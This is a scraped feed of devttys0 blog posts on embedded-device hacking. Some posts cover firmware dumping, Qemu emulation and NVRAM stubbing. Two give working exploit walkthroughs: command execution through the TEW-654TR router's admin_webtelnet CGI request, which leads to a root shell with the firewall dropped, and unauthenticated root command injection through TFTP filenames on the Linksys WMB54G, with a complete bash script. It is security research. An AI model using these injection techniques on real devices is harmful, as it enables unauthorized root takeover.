Quantcast
Channel: Embedded Systems – devttys0
Viewing all 35 articles
Browse latest View live

Exploiting Embedded Systems – Part 4

$
0
0

So far in this series we’ve found that we can log in to our target TEW-654TR router by either retrieving the plain text administrator credentials via TFTP, or through SQL injection in the login page. But the administrative web interface is just too limited – we want a root shell!

We’ll be doing a lot of disassembly and debugging, so having IDA Pro Advanced is recommended. But for those of you who don’t have access to IDA, I’ve included lots of screenshots and an HTML disassembly listing courtesy of IDAnchor.

In the last segment we set up our debugging environment using Qemu and the IDA debugger. In this final segment we’ll be debugging the my_cgi.cgi executable in order to gain a better understanding of how this CGI script works, and ultimately to pop a root shell.

Let’s start by analyzing how my_cgi.cgi handles POST data. We know from our previous segments that the POST data sent during authentication is:

request=login&user_name=admin&user_pwd=password

However, there doesn’t appear to be any references to the POST parameter names, such as ‘request’:

eve@eve:~/tew654/rootfs/usr/bin$ strings my_cgi.cgi | grep -w request
eve@eve:~/tew654/rootfs/usr/bin$

In most high level languages, GET and POST parameters are referenced by name, such as $_POST['request'] in PHP. But since our my_cgi.cgi doesn’t contain the string ‘request’, we can assume that the POST parameters are being parsed in another fashion.

We can see that around address 4094F8 there are string comparisons against several different strings, including ‘login’; this looks like the code that processes the POST request parameter:


Let’s set a breakpoint at 4094F8 and start debugging my_cgi.cgi to get a baseline for the code flow of the program:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "request=login&user_name=admin&user_pwd=password"

When the breakpoint is hit, we can see that each of the string comparisons are being done against the string pointer stored in $s0. The $s0 register contains a pointer to the string ‘login’, which was passed in via the ‘request’ POST parameter:


Now let’s see what happens when we change the POST parameter names. We’ll change ‘request’ to ‘foo’:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "foo=login&user_name=admin&user_pwd=password"

And at the breakpoint we see…that nothing has changed:


So it looks like my_cgi.cgi doesn’t process the POST parameters by name, but rather by the order in which they appear in the POST data. It expects the request value to be first, the user name to be second and the user password to be third, and as long as we follow this order we can name the parameters anything we like.

Continuing on in IDA, we see that since our request string matches the ‘login’ string, the branch to 40964C is taken:


Here the request string is compared to some additional – and more interesting – strings:


The ‘admin_webtelnet’ string is particularly interesting, but our request string is ‘login’, so we will never reach that section of code. Let’s restart our emulator, this time passing the string ‘admin_webtelnet’ as our request string:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "request=admin_webtelnet&user_name=admin&user_pwd=password"

Now, we want to end up at location 40964C where all the interesting string comparisons take place. But remember, our request string is first compared at our breakpoint address of 4094F8. And, since our request string does not match ‘login’, ‘logout’, or any of the other strings in that first set of comparisons, rather than ending up at our desired location of 40964C, we end up falling through to this section of code instead:


We see that there is a call to the update_login_time function, and if that function returns a non-zero value, we branch to our desired location at 40964C. We know that the TEW-654 uses a sqlite database, so we can presume that this function updates a timestamp showing the last period of activity for an authenticated user. But, if no user has authenticated, then there will be nothing to update and the SQL update will fail.

What is going on here is that the first string comparisons that we saw at our breakpoint address are the requests that you are allowed to make without authentication. If your request matches one of these, then the code moves on to the real request parsing routine at location 40964C. But, if your request is not one of these allowed values, then the code verifies that you have authenticated before moving on to the request parsing routine.

Now, since we are running my_cgi.cgi as a stand-alone application inside Qemu, we obviously have not authenticated to the device. However, we already have a couple authentication bypass exploits, so we are going to cheat and make my_cgi.ci think that we have authenticated.

In IDA’s registers window, right-click the $v0 register and increment it from zero:


To one:


The code now branches up to location 40964C. And, when our request string is successfully matched against ‘admin_webtelnet’, the address of the function send_telnet_cmd is loaded into $t9 and a branch down to 409ACC is taken:


At location 409ACC, the value loaded into $t9 (send_telnet_cmd) is called:


Stepping into this function call, we see that send_telnet_cmd creates a command string using sprintf, piping the output to the /tmp/tmp_send_result file:


Looking at the values passed to the sprintf function, we see that ‘admin’ – the value of our user_name POST parameter – is being used as the command to execute:


Knowing this, let’s re-run my_cgi.cgi with an actual shell command for the second POST value:

eve@eve:~/tew654/rootfs$ sudo ./run_cgi.sh "request=admin_webtelnet&cmd=echo test"

And check the result in the debugger:


Looks good! Let’s try it out on the live device (remember to first log in using the SQL injection or TFTP exploits):


We can verify that the echo command was successfully executed by requesting the /tmp/tmp_send_result file via TFTP:

eve@eve:~$ tftp 1.1.1.102
tftp> get /tmp/tmp_send_result
Received 2 bytes in 0.0 seconds
tftp> quit
eve@eve:~$ cat tmp_send_result
1
eve@eve:~$

Now that we’ve verified that it works, we can try some more interesting commands. Let’s start up a telnet service:


And drop the firewall:


And get a shell:

eve@eve:~$ telnet 1.1.1.102
Trying 1.1.1.102...
Connected to 1.1.1.102.
Escape character is '^]'.


BusyBox v1.01 (2011.05.30-12:58+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain MINIUPNPD (0 references)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain WSC_UPNP (0 references)
target     prot opt source               destination

We’re now free to upload and execute whatever we want, and that concludes this tutorial series. But there are plenty more vulnerabilities in the TEW-654 that we just don’t have time to cover, so I encourage you to take a look for yourself and see what you can find!


Speaking SPI & I2C With The FT-2232

$
0
0

For a while now I’ve been looking for an easy way to interface with external SPI and I2C devices over USB in a manner that can be easily integrated into future projects as well as used in a simple stand-alone system.

Although there are many existing SPI/I2C interface solutions, most of them are microcontroller based and connect to the PC though a USB to serial converter. This works fine, but I wanted something with a bit more speed while also remaining simple, cheap, and readily available.

After some searching, the FTDI FT-2232 family of chips seemed to fit the bill nicely. Although they are more commonly used to interface with JTAG devices, the FT-2232′s Multi-Protocol Synchronous Serial Engine (MPSSE) also supports the SPI and I2C protocols, clock rates of up to 30MHz, and a full-speed USB interface. Development boards are also cheap – the UM232H is $20 from DigiKey or Mouser in single quantities.

I’ve written libmpsse, a Linux wrapper library around libftdi that provides an easy to use API for interfacing with SPI and I2C devices using C and Python.

So how does this relate to hacking embedded systems you ask? Let’s take a look…

Although convenient, firmware update files are not always sufficient for performing code analysis on an embedded device. The firmware update file may be encrypted/obfuscated, or it may only be a partial update for the embedded system. In some cases, there may be no firmware update available at all. In these situations, being able to dump the firmware directly from the target device’s flash storage is invaluable.

SPI flash chips are increasingly replacing parallel flash chips, in both embedded devices as well as traditional PCs, and using libmpsse we can easily read and modify their contents.

As an example, let’s read the entire contents of a 1MB SPI flash chip. After making the appropriate hardware connections between the target flash chip and the FTDI chip, we can use the following Python script to dump the flash contents:


from mpsse import *

MPSSE(SPI0, THIRTY_MHZ, MSB)

Start()
Write("\x03\x00\x00\x00")
data = Read(0x100000)
Stop()

Close()

open('flash.bin', 'wb').write(data)

Although simple, the above script can read data from the flash chip very quickly:

eve@eve:~/libmpsse/src/examples$ time sudo python spiflash.py 
FT232H Future Technology Devices International, Ltd initialized at 30000000Hz (SPI mode 0)
Dumped 1048576 bytes to flash.bin

real	0m0.556s
user	0m0.020s
sys	0m0.016s

With the data extracted from the flash chip, we can now analyze it using our standard tools and techniques.

Of course libmpsse can be used to interface with other SPI/I2C devices such as data sensors, frequency synthesizers and EEPROM chips. It can be an easy way to add USB functionality to existing or future hardware designs, or to just have a simple SPI/I2C interface for development and testing.

The libmpsse source, documentation and examples are available from the Google Code project page.

Qemu vs sstrip

$
0
0

Qemu usually does a great job emulating embedded Linux applications, but as with anything you will occasionally run into bugs. While attempting to debug an embedded application in Qemu the other day, I ran into the following error:

eve@eve:~/firmware$ sudo chroot . ./qemu-mips bin/ls 
bin/ls: Invalid ELF image for this architecture

This error is usually indicative of using the wrong endian emulator, but I knew that the target binary was big endian MIPS. The file utility began to shed some light on the issue:

eve@eve:~/firmware$ file bin/busybox 
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

Hmmm, a corrupted section header? Let’s take a closer look at the binary.

Readelf will give us some more detailed information:

ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x4052a0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

Sure enough, the section headers had been stripped out of the ELF binary. This is commonly done by tools such as sstrip in order to save precious storage space on embedded devices, and since section headers are not required in order to execute the program this shouldn’t prevent Qemu from loading the binary.

A quick grep of Qemu’s source quickly found the culprit in linux-user/elfload.c:

static bool elf_check_ehdr(struct elfhdr *ehdr)
{
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
            && ehdr->e_shentsize == sizeof(struct elf_shdr)
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

Even though section headers aren’t required to load an ELF file, the elf_check_ehdr function expects the section header size to equal the size of the elf_shdr structure; simply commenting out this line and re-compiling did the trick:

eve@eve:~/firmware$ sudo chroot . ./qemu-mips bin/ls 
bin        lib        qemu-mips  tmp       var
dev        home       sbin       usr       

A patch has been submitted, but if you need this to work now it’s a quick and easy fix.

Emulating NVRAM in Qemu

$
0
0

Being able to emulate embedded applications in Qemu is incredibly useful, but not without pitfalls. Probably the most common issue that I’ve run into are binaries that try to read configuration data from NVRAM; since the binary is running in Qemu and not on the target device, there is obviously no NVRAM to read from.

Embedded applications typically interface with NVRAM through a shared library. The library in turn interfaces with the MTD partition that contains the device’s current configuration settings. Many programs will fail to run properly without the NVRAM configuration data, requiring us to intercept the NVRAM library calls and return valid data in order to properly execute the application in Qemu.

Here’s a Web server extracted from a firmware update image that refuses to start under Qemu:

It looks like httpd can’t start because it doesn’t know what IP address to bind to. The IP can’t be set via a command line argument, so it must be getting this data from somewhere else. Let’s fire up IDA and get cracking!

A quick look into httpd’s main function reveals the culprit. The httpd server tries to get the IP address and protocol settings via calls to nvram_get. If these calls fail, it prints the error message we saw above:

The nvram_get function is imported from a shared library, which will make it easy to intercept using LD_PRELOAD:

But before we can start intercepting function calls, we need to know more about nvram_get. It appears to only take one argument, which is a string (specifically, “lan_ipaddr” and “lan_proto” above), but what type of data does it return?

As can be seen in the previous disassembly, the return value from nvram_get(“lan_proto”) is saved in register R5. Later, the data pointed to from R5 is compared against the strings “static” and “dhcp” using strcmp:

Likewise, the return value from nvram(“lan_ipaddr”) is saved in register R6, which is later passed as the first argument to inet_aton:

So nvram_get takes a configuration key string and returns the corresponding configuration value string. We can easily simulate this function, along with some dummy configuration data, with the following code:

#include <stdio.h>
#include <string.h>

char *nvram_get(char *key)
{
        char *value = NULL;

        if(strcmp(key, "lan_ipaddr") == 0)
        {
                value = strdup("127.0.0.1");
        }

        if(strcmp(key, "lan_proto") == 0)
        {
                value = strdup("static");
        }

        printf("nvram_get(%s) == %s\n", key, value);
        return value;
}

We’ll need to cross-compile this code as a shared library and copy it into the squashfs-root directory that we’re running Qemu from:

eve@eve:~$ arm-linux-gcc -shared nvram.c -o nvram.so
eve@eve:~$ cp nvram.so squashfs-root/nvram.so

Now we’ll try running httpd inside Qemu again, this time specifying the path to our nvram.so file in the LD_PRELOAD environment variable:

eve@eve:~/squashfs-root$ sudo chroot . ./qemu-arm -E LD_PRELOAD="/nvram.so" usr/sbin/httpd 
usr/sbin/httpd: relocation error: /nvram.so: symbol __register_frame_info, version GLIBC_2.0 not defined in file libgcc_s.so.1 with link time reference
eve@eve:~/squashfs-root$

Boo! It looks like the nvram.so file is expecting a __register_frame_info symbol which doesn’t exist in the target system’s libgcc_s.so library. This happens because the tool chain we used to build nvram.so is not the same tool chain the vendor used to build the firmware for the target system. Ours expects __register_frame_info to be present, while theirs does not.

Since the vendor didn’t release GPL code for their system, we can’t simply re-build nvram.so using their tool chain. We could initiate a GPL request with the company, but there is a simpler (and faster!) way. We’ll just add place holder definitions for the __register_frame_info symbol inside nvram.c:

#include <stdio.h>
#include <string.h>

void __register_frame_info(void) { }
void __deregister_frame_info(void) { }
void __unregister_frame_info(void) { }

char *nvram_get(char *key)
{
        char *value = NULL;

        if(strcmp(key, "lan_ipaddr") == 0)
        {
                value = strdup("127.0.0.1");
        }

        if(strcmp(key, "lan_proto") == 0)
        {
                value = strdup("static");
        }

        printf("nvram_get(%s) == %s\n", key, value);
        return value;
}

Note that we’ve also defined __deregister_frame_info and __unregister_frame_info, which the nvram.so will also be looking for (if you didn’t know this off hand, you would get subsequent errors for these missing symbols indicating that you need to add their definitions to nvram.c as well).

We’ll re-build nvram.so:

eve@eve:~$ arm-linux-gcc -shared nvram.c -o nvram.so
eve@eve:~$ cp nvram.so squashfs-root/nvram.so

And try running httpd again:

eve@eve:~/squashfs-root$ sudo chroot . ./qemu-arm -E LD_PRELOAD="/nvram.so" usr/sbin/httpd 
httpd server started at port 80 (delay 0 second) 
nvram_get(lan_ipaddr) == 127.0.0.1
nvram_get(lan_proto) == static

We are successfully intercepting nvram_get calls, the httpd error messages have disappeared, and the server appears to be running. Let’s check:

Success! httpd is now ready for a little one-on-one with IDA’s debugger.

Hacking the Linksys WMB54G

$
0
0

Today we’re going to take a look at an interesting little device, the Linksys WMB54G wireless music bridge.

WMB54G

This is a pretty specialized device, so it’s likely a fairly minimalistic system. Even the administrative interface is small and simple:

WMB54G Administrative Interface

The Linksys support page doesn’t have any firmware updates available, so let’s take a peek at the hardware.

Opening the case reveals an expectedly limited system, with just 2MB of flash, 8MB of RAM and a small processor covered up by a heat sink:

WMB54G Internals

There are two connectors on the right hand side of the board, labelled J5 and J9. J5 appears to be a JTAG connector, while J9 shows promise of being a serial port:

J5 and J9 Connectors

After poking around with a multimeter, we find that the J9 connector uses the following pin configuration, at 38400 baud:

Pin 1 – TX
Pin 7 – RX
Pin 8 – GND

Connecting to the serial port with minicom provides some nice debug output, with a root shell to boot:

UART1 output test ok
Uart init
mfid=000000c2 devid=00002249
Found 1 x 2M flash memory

---RealTek(RTL8186)at 2006.06.14-14:49+0800 version 1.3c [16bit](180MHz)
no sys signature at 00010000!
Jump to image start=0x80600000...
decompressing kernel:
Uncompressing Linux... done, booting the kernel.
done decompressing kernel.
early printk enabled 
Determined physical RAM map:
 memory: 01000000 @ 00000000 (usable)
Initial ramdisk at: 0x801c2000 (4194304 bytes)
On node 0 totalpages: 4096
zone(0): 4096 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/ram console=0 ramdisk_start=0 single
Calibrating delay loop... 179.40 BogoMIPS
Memory: 10076k/16384k available (1634k kernel code, 6308k reserved, 4184k data, 60k init, 0k hig)
Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
check_wait... unavailable.
POSIX conformance testing by UNIFIX
Probe PCI Bus : There must be one device at the slot.
PCI device exists: slot 0 function 0 VendorID 13f6 DeviceID 111 bd710000
Find Total 1 PCI function
pcibios_fixup_resources IO form 1d500000 to 4f0000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
pty: 256 Unix98 ptys configured
Serial driver version 6.02 (2003-03-12) with no serial options enabled
ttyS00 at 0x00c3 (irq = 3) is a rtl_uart1
state->flags=00000000
mcu.o: version $Revision: 0.2 $time 19:39:05 Jan 29 2008
model id is FFFFFFFF
Realtek GPIO Driver for Flash Reload Default v0.2
block: 64 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
cmpci: version $Revision: 2.0 $time 19:39:31 Jan 29 2008
cmpci: isr_timer initial ok, 10ms
cmpci: spdif_out 
cmpci: chip version = 055
RealTek E-Flash System Driver. (C) 2002 RealTek Corp.
Found 1 x 2M Byte MXIC MX29LV160AB at 0xbe000000
RTL8185 driver version 1.14 (2007-03-15)
8186NIC Ethernet driver v0.0.5 (Mar 3, 2006)
eth0: RTL8186-NIC at 0xbd200000, 00:01:02:03:04:05, IRQ 4
eth1: RTL8186-NIC at 0xbd300000, 04:05:06:07:08:09, IRQ 5
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 1024 bind 2048)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Ethernet Bridge 008 for NET4.0
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 4096 blocks [1 disk] into ram disk... done.
Freeing initrd memory: 4096k freed
VFS: Mounted root (ext2 filesystem).
Freeing unused kernel memory: 60k freed
mount /proc file system ok!
serial console detected.  Disabling virtual terminals.
init started:  BusyBox v1.00-pre8 (2008.01.17-05:54+0000) multi-call binary


BusyBox v1.00-pre8 (2008.01.17-05:54+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

Although it is a fairly stripped down Linux installation, we luckily still have ps and netstat installed, and can start interrogating the system:

# ps
  PID  Uid     VmSize Stat Command
    1 root        340 S   init        
    2 root            SW  [keventd]
    3 root            RWN [ksoftirqd_CPU0]
    4 root            SW  [kswapd]
    5 root            SW  [bdflush]
    6 root            SW  [kupdated]
    7 root            SW  [mtdblockd]
    8 root        412 S   -sh 
  262 root        160 S   monitor 
  264 root        544 S   wiapp-streaming 
  265 root        492 S   wiapp-config 
  267 root        492 S   wiapp-config 
  269 root        544 S   wiapp-streaming 
  272 root        544 S   wiapp-streaming 
  273 root        492 S   wiapp-config 
  274 root        492 S   wiapp-config 
  275 root        492 S   wiapp-config 
  276 root        544 S   wiapp-streaming 
  278 root        544 S   wiapp-streaming 
  281 root        208 S   sys_monitor 
  282 root        280 S   httpd 
  470 root        180 S   restore_defaultsd 
  549 root        328 S   easyconf 
  550 root        216 S   tftpd 
  553 root        280 S   udhcpc -i br0 -p /etc/udhcpc/udhcpc-br0.pid -s /usr/s
  555 root        336 R   ps 
  
# netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 *:http                  *:*                     LISTEN      
udp        0      0 192.168.2.13:tftp       *:*                                 
udp        0      0 *:14682                 *:*                                 
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node Path

Hmmm…that TFTP service looks interesting, but it doesn’t seem to respond to TFTP get requests:

eve@eve:~$ tfcp 192.168.2.13:foo .
WARNING:tftpy:Timeout waiting for traffic, retrying...
ERROR:tftpy:Timed-out waiting for traffic

This warrants some further investigation. Getting the tftpd binary off the system and loading it into IDA reveals some interesting code:

Dante’s tiny TFTP Server

sprintf + system == win.

It looks like Dante’s TFTP server accepts file uploads, saves the files to /tmp, then invokes the fwupdate utility by calling system(). I like system().

If, for example, we upload a file named ‘foo’ to the TFTP server:

$ tfcp foo 192.168.2.13:foo

Then the resulting system call will be:

system(“fwupdate /tmp/foo”);

And since our ‘foo’ file isn’t a valid firmware update image, we get the following output on the serial console:

# WRequest from 192.168.2.100: [foo], [octet]
# recv [foo], 16 bytes
# Now writing the received image into the flash..
TFTP Firmware Upgrade Failed!

Interestingly, although our ‘foo’ file is clearly invalid, it remains in /tmp and is not deleted.

Now, what happens if we tell the TFTP server that our file is named ‘;ls’?

$ tfcp foo 192.168.2.13:';ls'

Since ‘;ls’ is a valid Linux file name, a file named ‘/tmp/;ls’ is created and the resulting system call is:

system(“fwupdate /tmp/;ls”);

Which gives us the following output on the serial console:

# WRequest from 192.168.2.100: [;ls], [octet]
# recv [;ls], 16 bytes
# Now writing the received image into the flash..
TFTP Firmware Upgrade Failed!
bin          lib          mnt          tmp          web
dev          lost+found   proc         usr
etc          manufacture  sbin         var

Bam! Successful command execution. Now, we should be able to:

  1. Upload an executable ELF or shell script to /tmp via the TFTP server
  2. Use the above command injection vulnerability to chmod and execute our uploaded file

We know we can do #1, but #2 is actually trickier than it sounds. For starters, there’s no chmod on the system, so we can’t change file attributes via the shell. To make matters worse, the use of forward slash characters in our command injection is severely limited. This is a common problem, as ‘/’ is not allowed in file names on Linux systems. You can’t, for example, run the following:

$ tfcp foo 192.168.2.13:';ls /etc'

This will cause the TFTP server to attempt to create a file name ‘/tmp/;ls /etc’, which of course will fail since ‘;ls ‘ is not a directory, and if the file write fails then the system call never gets invoked.

We can get around the chmod issue fairly easily by overwriting an existing file on the system that already has the executable attribute. Of course, we don’t just want to go around overwriting system files willy-nilly, so we’ll probably want to copy the system file to the /tmp directory first, and overwrite it there.

We effectively want to do something like the following, which will result in an executable file named ‘/tmp/a’ that contains content of our choosing (in this example, a simple shell script):

# cp /bin/busybox /tmp/a
# echo -e '#!/bin/sh\necho "It works"' > /tmp/a
# /tmp/a
It works

The problem is that there are a lot of forward slashes in those commands, which our method of command injection won’t allow. There is a solution however, and it’s found in the system’s environment variables.

It turns out that the TFTP server’s working directory is ‘/’, so it’s $PWD environment variable is, you guessed it, ‘/’. This is common, as most processes that daemonize themselves change their working directory to ‘/’; processes executed via system() by the TFTP server will inherit this environment variable.

On this particular system, the $HOME environment variable is also set to ‘/’ for the root user, and all processes run as root.

Substituting forward slashes with either of these environment variables allows the use forward slashes in our command injection exploit without violating the file naming rules in Linux:

$ tfcp foo 192.168.2.13:';ls "$HOME"etc'

This causes a file named ‘;ls “$HOME”etc’ to be created inside of /tmp, but when the system call is made, the $HOME environment variable is expanded to ‘/’, ultimately resulting in the command ‘ls /etc’ being executed as root.

To test this, we’ll try to upload and execute a simple shell script:

#!/bin/sh

echo "Dante is my hero."

We will attempt to upload this file, make it executable, then execute it using the following script on our attack machine:

#!/bin/bash

# Copy the /bin/busybox executable to /tmp/a, so we can steal its executable permissions
tfcp /dev/null 192.168.2.13:';cp "$HOME"bin"$HOME"busybox "$HOME"tmp"$HOME"a'

# Upload our shell script, overwriting the /tmp/a file
tfcp test.sh 192.168.2.13:a

# Execute the /tmp/a script
tfcp /dev/null 192.168.2.13:';"$HOME"tmp"$HOME"a'

Does it work? You bet. :)

# WRequest from 192.168.2.100: [;"$HOME"tmp"$HOME"a], [octet]
# recv [;"$HOME"tmp"$HOME"a], 0 bytes
# Now writing the received image into the flash..
TFTP Firmware Upgrade Failed!
Dante is my hero.

Root code execution with no authentication and just a few lines of bash. Dante is my hero.

Best Amazon Review Ever

$
0
0

If you’re going to be in Vegas for BlackHat/Defcon, be sure to check out Zach’s talk.

WNDR3700 Amazon Review

WNDR3700 Amazon Review

Reverse Engineering a DTV Converter

$
0
0

I have an old DTV converter sitting around gathering dust, so I thought it would be interesting to take a look inside:

Inside the DTV Converter

As you can see, there’s not much there: a Thomson TV tuner, an IR receiver, 32MB of RAM and a 2MB flash chip (on the underside of the board). What really makes this interesting though is the LGDT1111 SoC; this is a DTV chip manufactured by LG, so it’s a little different than the Broadcom/Atheros/Ralink/etc SoCs found in a lot of other consumer devices. It is very popular with many DTV converters though, so determining its CPU architecture and reversing the underlying firmware could be interesting.

Digging around on the Internet turned up a nice block diagram of the LGDT1111 (courtesy of MVPtek):

LGDT1111 Block Diagram

The MVPtek web site states that the SoC uses an “AMR926EJ-STM” controller…could they mean an ARM926EJ-STM? Hmmm…

According to the block diagram the LGDT1111 does have a UART connection, and indeed there is a four pin connector on the board above the SoC with the pins nicely labeled:

DTV Serial Port

The serial port settings are 115200 baud, 8 bits, no stop bits, 1 parity bit. Here’s the boot messages that are dumped over the serial connection:

V1.05.40 May 20 2008, 16:24:11 sungwee@sungwee /cygdrive/d/boot_t/src
Config Baud Rate  : 115200 bps
System Clock Rate : 175 MHz
U-Boot Mem offset : Text/Data [00e00000, 00e19e9b], BSS [00e19e9c, 00e3e7c3]

RAM Configuration:
Bank #0: 00000000 32 MB
manufature ID : 0xc2, Device ID: 0x49
Flash:  2 MB
In:    serial
Out:   serial
Err:   serial
Set Flash Memory Structure...
Set Region   for Bootrom from 00:00 0x2c000000 (131072bytes)
Set Region01 for Appl    from 00:05 0x2c020000 (917504bytes)
cacheID : 1d0d20d2
write-back, register 7, format C
cache separated
D-cache  4kbytes 4-way 8 words (32bytes)
I-cache  4kbytes 4-way 8 words (32bytes)
Masks:: Index: c0000000, Int: 000000c0, Seg: 000003e0
Compare 00e13d8c 2c013d8c
Boot from address 2c000000
Boot from flash
MMU CR : 000510f8 (00004000)-> 000550fb
Processing BIZ file-from Flash: 0x2c020000
Aux data is symbol table(399362 bytes), pSymTab=0x1dfa8c
[Application Code]
Loading[4] Image from 2c020800 to 00010000(+1512037)
  -- TRY 0 ==>  2298510 bytes loaded in 0.778 sec, rc=0
  -- Checking CRC32[Bin ] ==>  Good, in 0.158 sec
Moving 7270 symbols(312102 bytes) from 0x001dfa8c to 0x0026d2c4
Load Image to 00010000...
Start from    00010000...
MMU CR : 000540fb (00004000)-> 000540fa
cacheID : 1d0d20d2
write-back, register 7, format C
cache separated
D-cache  4kbytes 4-way 8 words (32bytes)
I-cache  4kbytes 4-way 8 words (32bytes)
Masks:: Index: c0000000, Int: 000000c0, Seg: 000003e0
MMU CR : 000550fa (00004000)-> 000550ff
[37m[44mnTxtSyms     = 7270[0m
[37m[44mpSymTabBase  = [0x26d2d8..0x2827a0)[0m
[37m[44mpSymHashBase = [0x2827a4..0x274470)[0m
[37m[44mpSymStrBase  = [0x2b0317..0x2ceac6)[0m
[37m[44mnDwarfLst    = 184[0m
[37m[44mpDwarfLst    = [0x28607c..0x28663c)[0m
[37m[44mpDwarfData   = [0x28663c..0x029cdb)[0m
000.025:root    ] >> InitPool  ]]  [0x002cf000-0x01000000]
000.026:root    ] SM_MAT_POOL[ 4] = 0x002cf000(0x004000)
000.027:root    ] SM_MAT_POOL[ 8] = 0x002d3000(0x00c000)
000.028:root    ] SM_MAT_POOL[16] = 0x002df000(0x018000)
000.029:root    ] SM_MAT_POOL[32] = 0x002f7000(0x030000)
000.030:root    ] SM_MAT_POOL[64] = 0x00327000(0x0a0000)
000.031:root    ] >> InitBuddy ]] Addr=0x3c7000, Size=0xc39000
000.033:root    ] >> Total Free Heap Size = 0xd05000
Stack... 336860180 0023fa48
New Application booted, uart = 0xfe000000, baud = 115200

[30m[43mSystem Clock : 175MHz[0m
Starting  V1.6.05 , Jun 25 2008, 21:52:48, from @:/cygdrive/d/Work/Cubic2/Source/TCU/app/D2A1D

Start app init task..
AppInitTask: tid 0xd, priority 0x32
App_Initialize Task..
Dmc_Init()
Starting MiniShell, priority 8 ...
Minishell TID 0x37 (55) running
-------------------------------------------
val pad sel : 0x30001d10(0x46fc)
-------------------------------------------
-------------------------------------------
val pad sel : 0x30001d10(0x46fc)
-------------------------------------------
  gpio 6 [GPIO_KP_POWER] reset..
Mini Shell Task Spawned..
Shell> 000.070:tInit   ] [30m[43mConfiguring D2A_MODE with CVBS and S-video for LGDT1111T[0m
[30m[43mConfiguring D2A_MODE
[0m000.070:tInit   ] creating Queue tuner0Q  ... qid is 0x00240934
000.071:tInit   ] creating Queue     SqIR ... qid is 0x00240968
000.072:tInit   ]   2 Message queues are created
000.073:tInit   ] creating Sema4  VDPVSyn ...
000.073:tInit   ] creating Sema4 MuteSema ...
000.073:tInit   ] creating Sema4  OSDSema ...
000.073:tInit   ] creating Sema4 SectFilr ...
000.074:tInit   ] creating Sema4   AInfo  ...
000.074:tInit   ] creating Sema4   VInfo  ...
000.074:tInit   ] creating Sema4  NvmSem  ...
000.074:tInit   ] creating Sema4      IR  ...
000.075:tInit   ] creating Sema4    TIME  ...
000.075:tInit   ]   9 Semaphores are created
000.075:tInit   ]   0 Partitions are created
 install gpio 1 (group 0, offset 1) isr 105d10
 enable gpio group 0 interrupt
 install gpio 6 (group 0, offset 6) isr 106724
 enable gpio group 0 interrupt
reboot line successfully set to 'boot flash'
Thomson tuner 0xc2 detected
DHL_DEV_Init:
manufature ID : 0xc2, Device ID: 0x49
vendor: MX, device: 29LV160B
DHL_DMX_Init:
000.092:tInit   ] >> InitPool  ]]  [0x01000000-0x01084000]
000.093:tInit   ] >> InitBuddy ]] Addr=0x1000000, Size=0x084000
000.094:tInit   ] >> Total Free Heap Size = 0xd78bc4
 SM_SDEC_POOL inited
 sdec_io inited
 PWM inited
PSI_InitSF:
 SDEC isr 0x10, handler changed
 SDEC GPB IRQ inited

///////////////////////////////////////////////////////////////////

	   ------- Project CB2 -------  

			 - Build date: Jun 25 2008 21:51:18
			 - BOARD : D2A1T (2)

	 # Board  Version		: 2

	 # Kernel : uC/OS-II LGDT1111 1.6.05
	   - Core Driver version	: 0.0
	   - DSTHAL version		: 609181
	   - FE u-code version		: 000
	   - HDMI driver version	: 0.0

	 # Channel MW		: 609181
	   - EPG MW		: 707121
	   - Caption MW		: 0

	 # Application Version	: M5.97A_T 080625A

///////////////////////////////////////////////////////////////////

DhlPrintf Sema4 created
[APP tInit 13] 0001 debug trace ON
DHL_DEV_Init:
manufature ID : 0xc2, Device ID: 0x49
vendor: MX, device: 29LV160B
[NvRam tInit 13] 0001 FlashNvmInfo: blksz 0x10000-0x20, addr[0] 0x1e0000, addr[1] 0x1f0000
[DMC 0d tIni] 0001 Config:EEPROM size 0
[APP tInit 13] 0001
[APP tInit 13] 0001 .....Loading EEPROM block from FLASH
  Dump 'EEPROM' 256(0x100) bytes:
  00249af0: __ 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
  00249b00: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
